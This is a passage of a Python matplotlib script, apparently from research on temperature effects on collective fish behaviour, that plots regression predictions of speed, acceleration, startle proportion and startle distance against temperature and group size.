'../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_loom_wo_data_loom1_gs16.png' fig.savefig(out_dir, dpi = 300) plt.show() #model_lm <- lm(log(speed+1) ~ temp,my_data) if args.a_string=='speed99_before_loom_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data_hull = data2.speed_percentile99 colors = plt.cm.bone_r(np.linspace(0,1,3)) if args.verbose==True: ax.scatter(data2.Temperature, data_hull, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed \n before loom (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_w_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed \n before loom (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_wo_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() """ #model_lm <- lm(log(speed+1) ~ temp + temp^2,my_data) if args.a_string=='speed99_before_loom_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data_hull = data2.speed_percentile99 colors = plt.cm.bone_r(np.linspace(0,1,3)) if args.verbose==True: ax.scatter(data2.Temperature, data_hull, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() """ #median speed during unperturbed swimming #model_lm <- lm(log(speed+1) ~ temp ,my_data) if args.a_string=='speed50_before_loom_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data_hull = data2.speed_percentile50 colors = plt.cm.bone_r(np.linspace(0,1,3)) if args.verbose==True: ax.scatter(data2.Temperature, data_hull, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Median speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile50_new_w_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Median speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile50_new_wo_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() #average speed during unperturbed swimming #model_lm <- lm(log(speed+1) ~ temp ,my_data) if args.a_string=='speed_avg_before_loom_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data_hull = data2.avg_speed colors = plt.cm.bone_r(np.linspace(0,1,3)) if args.verbose==True: ax.scatter(data2.Temperature, data_hull, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Mean speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_avg_new_w_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Mean speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_avg_new_wo_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() ## loom speed predictions if args.a_string=='loom_speed_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') data_hull = data2.speed_percentile99 if args.verbose==True: gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2.speed_percentile99[data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10) ax.plot( data1.Temperature[data1.Groupsize == i][data1.loom == 1], (data1.loom_speed[data1.Groupsize==i][data1.loom == 1])**2, color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.Temperature[data1.Groupsize == i][data1.loom == 1], (data1.loom_speed025[data1.Groupsize==i][data1.loom == 1])**2, (data1.loom_speed975[data1.Groupsize==i][data1.loom == 1])**2, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('99th percentile of speed \n during loom (BL/s)', size = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #ax.set_title('Loom = 1', fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions_w_data_all.png' fig.savefig(out_dir, dpi = 100) plt.show() else: gs = [16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.plot( data1.Temperature[data1.Groupsize == i][data1.loom == 1], (data1.loom_speed[data1.Groupsize==i][data1.loom == 1])**2, color = colors[count], lw = lw) ax.fill_between( data1.Temperature[data1.Groupsize == i][data1.loom == 1], (data1.loom_speed025[data1.Groupsize==i][data1.loom == 1])**2, (data1.loom_speed975[data1.Groupsize==i][data1.loom == 1])**2, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed \n during loom (BL/s)', size = fs) #ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions_wo_data.png' fig.savefig(out_dir, dpi = 100) plt.show() ## 99th percentile of loom speed predictions - 2 (after including t1) # model_lm <- lm((speed)^0.5 ~ temp + I(temp^2) + log(gs,2) + loom + I(log(gs,2)^2) + t1,my_data) # rsq 0.1872 if args.a_string=='99th_percentile_speed_during_loom_with_t1_predictions2.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') data_hull = data2.speed_percentile99 if args.verbose==True: gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2.speed_percentile99[data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10) ax.plot( data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800], (data1.speed99[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800], (data1.speed99_025[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, (data1.speed99_975[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('99th percentile of speed \n during loom (BL/s)', size = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) ax.set_title('Loom = 1', fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions2_w_data_all.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: ax.plot( data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800], (data1.speed99[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800], (data1.speed99_025[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, (data1.speed99_975[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed \n during loom (BL/s)', size = fs) ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions2_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() #model_glm <- glm(prop_startles ~ temp + I(temp^2) + loom + t+date, family = binomial,my_data) if args.a_string=='prop_startles_predictions.csv': if args.verbose==True: colors = plt.cm.bone_r(np.linspace(0,1,3)) ax.scatter(data2.Temperature, data2.prop_startles, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200], (data1.prop_startles[data1.loom == 1][data1.date == 18106][data1.t == 1200]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200], (data1.prop_startles025[data1.loom == 1][data1.date == 18106][data1.t == 1200]), (data1.prop_startles975[data1.loom == 1][data1.date == 18106][data1.t == 1200]), alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Proportion of individuals that startle', size = fs) #ax.set_title('Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_w_data_loom_1_all.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: colors = plt.cm.bone_r(np.linspace(0,1,3)) ax.plot( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200], (data1.prop_startles[data1.loom == 1][data1.date == 18106][data1.t == 1200]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200], (data1.prop_startles025[data1.loom == 1][data1.date == 18106][data1.t == 1200]), (data1.prop_startles975[data1.loom == 1][data1.date == 18106][data1.t == 1200]), alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Proportion of individuals that startle', size = fs) #ax.set_title('Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_wo_data_loom_1_all.png' fig.savefig(out_dir, dpi = dpi) plt.show() #model_glm <- glm(prop_startles ~ temp + I(temp^2) + loom +date, family = binomial,my_data) if args.a_string=='prop_startles_predictions2.csv': if args.verbose==True: colors = plt.cm.bone_r(np.linspace(0,1,3)) ax.scatter(data2.Temperature, data2.prop_startles, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.loom == 1][data1.date == 18106], (data1.prop_startles[data1.loom == 1][data1.date == 18106]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106], (data1.prop_startles025[data1.loom == 1][data1.date == 18106]), (data1.prop_startles975[data1.loom == 1][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Proportion of individuals that startle', size = fs) #ax.set_title('Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_w_data_loom_1_all_new.png' fig.savefig(out_dir, dpi = 300) plt.show() else: colors = plt.cm.bone_r(np.linspace(0,1,3)) ax.plot( data1.temp[data1.loom == 1][data1.date == 18106], (data1.prop_startles[data1.loom == 1][data1.date == 18106]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106], (data1.prop_startles025[data1.loom == 1][data1.date == 18106]), (data1.prop_startles975[data1.loom == 1][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Proportion of individuals that startle', size = fs) #ax.set_title('Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_wo_data_loom_1_all_new.png' fig.savefig(out_dir, dpi = 300) plt.show() ## loom acceleration #model_lm <- lm(log(acc+1) ~ temp + I(temp^2)*log(gs,2)*loom + date + t,my_data) if args.a_string=='loom_acc_99_predictions.csv': if args.verbose==True: gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.scatter(data2.Temperature[data2.Groupsize==i], data2.acc_percentile99[data2.Groupsize ==i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i], np.exp(data1.acc99[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, color = colors[count], lw = lw, label = str(i)) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i], np.exp(data1.acc99_025[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, np.exp(data1.acc99_975[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n during loom (BL/s'+r'$^2$)', size = fs) #ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_w_data_loom_1_all.png' fig.savefig(out_dir, dpi = 100) plt.show() else: gs = [16] colors = plt.cm.bone_r(np.linspace(0,1,3)) for i in gs: ax.plot( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i], np.exp(data1.acc99[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, color = colors[count], lw = lw, label = str(i)) ax.fill_between( data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i], np.exp(data1.acc99_025[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, np.exp(data1.acc99_975[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1, alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n during loom (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_wo_data_loom_1.png' fig.savefig(out_dir, dpi = 100) plt.show() #startle distance #model_lm <- #lm(log(distance) ~ temp + gs + temp*gs + loom + I(temp^2)*gs + loom*I(temp^2) + loom*gs + date, my_data) if args.a_string=='startle_distance_predictions2.csv': data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string) data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_startle.csv') gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting if args.verbose==True: gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2.distance[data2.Groupsize == i][data2.Loom == 1]/60, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106], np.exp(data1.distance[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106], np.exp(data1.distance_025[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, np.exp(data1.distance_975[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, label = str(i), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Distance (BL)', size = fs) ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/distance_w_data_loom1.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] loom = [1,5] colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1)) count = 1 for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.distance[data1.gs==i][data1.loom == j][data1.date == 18106])/60, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.distance_025[data1.gs==i][data1.loom == j][data1.date == 18106])/60, np.exp(data1.distance_975[data1.gs==i][data1.loom == j][data1.date == 18106])/60, alpha = 0.3, label = str(j), color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Distance (BL)', size = fs) ax.set_title('Groupsize = 16', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/distance_wo_data_gs16.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pre loom acceleration #model_lm <- lm(log(acc+1) ~ temp + log(gs,2) + I(log(gs,2)^2),my_new_data) # r sq 0.1936 if args.a_string=='acc_99_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data2 = data2.drop(labels = 127) data_hull = data2.acc_percentile99 gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n before loom (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n before loom (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() """ #model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data) # r sq 0.1962 if args.a_string=='acc_99_predictions_new_squared.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data2 = data2.drop(labels = 127) data_hull = data2.acc_percentile99 gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data_new_squared.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data_new_squared.png' fig.savefig(out_dir, dpi = 300) plt.show() """ #startle distance corrected #model_lm <- #log(distance) ~ temp + log(gs,2) + temp*log(gs,2) + loom*temp + I(temp^2)*log(gs,2) + loom*I(temp^2) #+date + 